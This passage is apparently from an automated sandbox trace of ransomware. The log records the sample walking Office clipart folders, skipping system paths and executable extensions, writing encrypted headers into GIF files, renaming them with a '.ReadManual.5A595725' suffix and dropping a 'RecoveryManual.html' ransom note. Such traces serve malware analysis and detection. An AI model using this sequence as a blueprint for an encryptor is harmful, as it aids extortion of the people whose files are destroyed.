ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0258.625] lstrcpyW (in: lpString1=0x69b8e8, lpString2="CLIPART" | out: lpString1="CLIPART") returned="CLIPART" [0258.625] lstrcatW (in: lpString1="CLIPART", lpString2="\\" | out: lpString1="CLIPART\\") returned="CLIPART\\" [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch=":\\Windows\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch=":\\WINNT") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.626] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.626] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.626] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.626] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.626] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.626] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.626] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.626] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.626] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\") returned 46 [0258.626] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfec0 [0258.627] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\" [0258.627] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.627] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0258.627] lstrcpyW (in: lpString1=0x69b8f8, lpString2="PUB60COR" | out: lpString1="PUB60COR") returned="PUB60COR" [0258.627] lstrcatW (in: lpString1="PUB60COR", lpString2="\\" | out: lpString1="PUB60COR\\") returned="PUB60COR\\" [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch=":\\Windows\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch=":\\WINNT") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.627] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.628] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.628] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned 55 [0258.628] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff00 [0258.630] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0258.630] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.631] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0258.631] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00004_.GIF" | out: lpString1="AG00004_.GIF") returned="AG00004_.GIF" [0258.631] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.631] StrStrIW (lpFirst="AG00004_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.631] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.631] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.631] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.631] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.631] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.631] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.631] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.631] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.631] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.631] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.631] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.631] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.631] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.631] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.632] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" [0258.632] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.ReadManual.5A595725" [0258.632] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.ReadManual.5A595725") returned 87 [0258.632] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37930038446) returned 1 [0258.632] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0258.633] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.633] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9024) returned 1 [0258.633] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2340, lpName=0x0) returned 0x184 [0258.633] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.633] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.633] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.635] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.635] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2340) returned 0x2f0000 [0258.636] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.636] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37930446687) returned 1 [0258.636] CloseHandle (hObject=0x184) returned 1 [0258.636] SetSecurityInfo () returned 0x57 [0258.636] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.636] CloseHandle (hObject=0x194) returned 1 [0258.636] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0258.636] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RecoveryManual.html" [0258.636] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RecoveryManual.html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0258.639] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0258.640] CloseHandle (hObject=0x194) returned 1 [0258.640] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0258.640] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00011_.GIF" | out: lpString1="AG00011_.GIF") returned="AG00011_.GIF" [0258.640] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.640] StrStrIW (lpFirst="AG00011_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.640] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.640] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.640] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.640] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.640] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.640] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.640] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.640] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.640] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.640] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.640] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.640] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.640] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.640] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.640] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" [0258.640] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.ReadManual.5A595725" [0258.640] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.ReadManual.5A595725") returned 87 [0258.640] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37930909046) returned 1 [0258.640] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0258.641] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.641] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7216) returned 1 [0258.641] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c30, lpName=0x0) returned 0x184 [0258.641] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.641] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.641] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.643] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.643] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c30) returned 0x2f0000 [0258.643] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.643] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37931220477) returned 1 [0258.643] CloseHandle (hObject=0x184) returned 1 [0258.644] SetSecurityInfo () returned 0x57 [0258.644] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.644] CloseHandle (hObject=0x194) returned 1 [0258.645] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0258.645] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00021_.GIF" | out: lpString1="AG00021_.GIF") returned="AG00021_.GIF" [0258.645] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.646] StrStrIW (lpFirst="AG00021_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.646] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.646] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.646] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.646] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.646] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.646] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.646] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.646] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.646] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.646] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.646] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.646] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.646] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.646] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.646] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" [0258.646] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.ReadManual.5A595725" [0258.646] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.ReadManual.5A595725") returned 87 [0258.646] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37931481004) returned 1 [0258.646] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0258.647] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.647] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14873) returned 1 [0258.647] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, 